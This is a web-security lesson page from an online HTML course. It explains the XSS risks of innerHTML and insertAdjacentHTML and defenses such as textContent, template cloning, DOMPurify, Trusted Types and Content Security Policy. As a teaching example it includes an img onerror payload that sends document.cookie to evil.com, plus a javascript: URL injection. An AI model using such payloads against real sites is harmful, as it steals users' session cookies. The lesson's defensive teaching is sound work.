Templates vs innerHTML Security
Understand why templates are safer than setting innerHTML.
Templates vs innerHTML Security is a free HTML Academy lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the HTML Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
innerHTML Injection Risk
Setting el.innerHTML = userInput parses the string as HTML. If userInput contains <script> or event handlers like onerror, the browser executes them — creating a Cross-Site Scripting (XSS) vulnerability.
XSS via innerHTML Example
An attacker submits a username: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. If this is rendered with innerHTML, the onerror fires and exfiltrates the session cookie. Text content becomes executable code.
textContent is Safe
el.textContent = userInput treats the string as plain text — no HTML parsing, no script execution. The browser escapes < and > automatically in text nodes. Always use textContent for user-supplied values.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;template Element Avoids String Parsing
When using template.cloneNode(true), structure comes from a pre-parsed HTML template — not from a user-provided string. Setting values via textContent on cloned nodes keeps user data in text nodes, never in parsed HTML. Structure and data are separated.
Sanitization When innerHTML is Needed
If HTML formatting from users is required (rich text), sanitize before setting innerHTML. DOMPurify is the standard library: el.innerHTML = DOMPurify.sanitize(richHtml). It strips dangerous tags and attributes while preserving safe formatting.
insertAdjacentHTML Risk
insertAdjacentHTML("beforeend", html) also parses HTML strings — same XSS risk as innerHTML. Apply the same sanitization rules. The safer alternative: create elements with createElement, set their textContent, and use appendChild.
setAttribute Security
Setting attributes with user data can create injection: el.setAttribute("href", userUrl) where userUrl is javascript:alert(1) creates an XSS. Validate URL schemes: only allow http:, https:, and mailto: before setting href or src attributes.
DOM Clobbering
DOM clobbering is an attack where named form elements (id="getElementById") override global JavaScript variables. Always access elements through document.getElementById() rather than global window properties. Content Security Policy also mitigates clobbering attacks.
Trusted Types Policy
Trusted Types (Chrome, enforced via CSP) requires all innerHTML, insertAdjacentHTML, and similar sinks to receive policy-wrapped strings. Raw strings cannot be assigned — only values created by a declared TrustedTypes policy. This prevents accidentally bypassing sanitization.
Document Fragment Safety
Creating elements with the DOM API (createElement, createTextNode) and manipulating them in a DocumentFragment is inherently XSS-safe — text is always text, never parsed HTML. DocumentFragments are the safest way to build complex dynamic UI.
Content Security Policy
A strict CSP (no unsafe-inline, nonce-based scripts) is defense-in-depth against XSS. Even if an attacker injects HTML, CSP prevents injected scripts from executing. CSP does not eliminate the need for sanitization — it is a safety net, not a primary defense.
Knowledge Check
Why is textContent safer than innerHTML for rendering user-supplied data?
Summary
innerHTML and related APIs parse HTML strings, creating XSS vulnerabilities when user data is interpolated without sanitization. Using textContent, template cloning with textContent filling, DOMPurify for rich text, and Content Security Policy creates layered defense against HTML injection attacks.
Frequently asked questions
Is the “Templates vs innerHTML Security” lesson free?
Yes — the full text of “Templates vs innerHTML Security” is free to read here on the web, and the HTML Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the HTML Academy course, upgrade to CoddyKit PRO.
What will I learn in “Templates vs innerHTML Security”?
Understand why templates are safer than setting innerHTML. You practise HTML Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start HTML Academy?
No prior experience is required. HTML Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Templates vs innerHTML Security” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this HTML Academy lesson?
Yes. Every HTML Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- The template Element Inert Content
- Cloning Templates with cloneNode
- Using template with JavaScript Rendering
- Templates vs innerHTML Security